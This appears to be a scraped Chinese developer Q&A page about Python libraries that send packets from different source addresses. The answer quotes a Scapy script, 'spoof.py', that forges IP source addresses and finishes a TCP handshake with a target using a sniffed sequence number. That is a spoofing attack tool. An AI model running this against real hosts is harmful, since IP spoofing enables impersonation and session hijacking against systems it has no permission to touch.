当前位置:  开发笔记 > 编程语言 > 正文

是否有一个Python库,可以模拟来自不同地址的网络流量

如何解决《是否有一个Python库,可以模拟来自不同地址的网络流量》经验,为你挑选了1个好方法。

是否有一个python库,可以允许我从不同的源地址和端口发送UDP数据包到发送到localhost(发送到localhost是好的)?我记得有一个存在,但已经找不到了.



1> jfs..:

您可以使用Scapy库欺骗IP地址.

以下是Packet Wizardry的一个示例:使用Python统治网络:

#!/usr/bin/env python
import sys
from scapy import *
conf.verb=0

if len(sys.argv) != 4:
    print "Usage: ./spoof.py   "
    sys.exit(1)

target = sys.argv[1]
spoofed_ip = sys.argv[2]
port = int(sys.argv[3])

p1=IP(dst=target,src=spoofed_ip)/TCP(dport=port,sport=5000,flags='S')
send(p1)
print "Okay, SYN sent. Enter the sniffed sequence number now: "

seq=sys.stdin.readline()
print "Okay, using sequence number " + seq

seq=int(seq[:-1])
p2=IP(dst=target,src=spoofed_ip)/TCP(dport=port,sport=5000,flags='A',
                                     ack=seq+1,seq=1)
send(p2)

print "Okay, final ACK sent. Check netstat on your target :-)"

推荐阅读
mobiledu2402852357
这个屌丝很懒,什么也没留下!
DevBox开发工具箱 | 专业的在线开发工具网站    京公网安备 11010802040832号  |  京ICP备19059560号-6
Copyright © 1998 - 2020 DevBox.CN. All Rights Reserved devBox.cn 开发工具箱 版权所有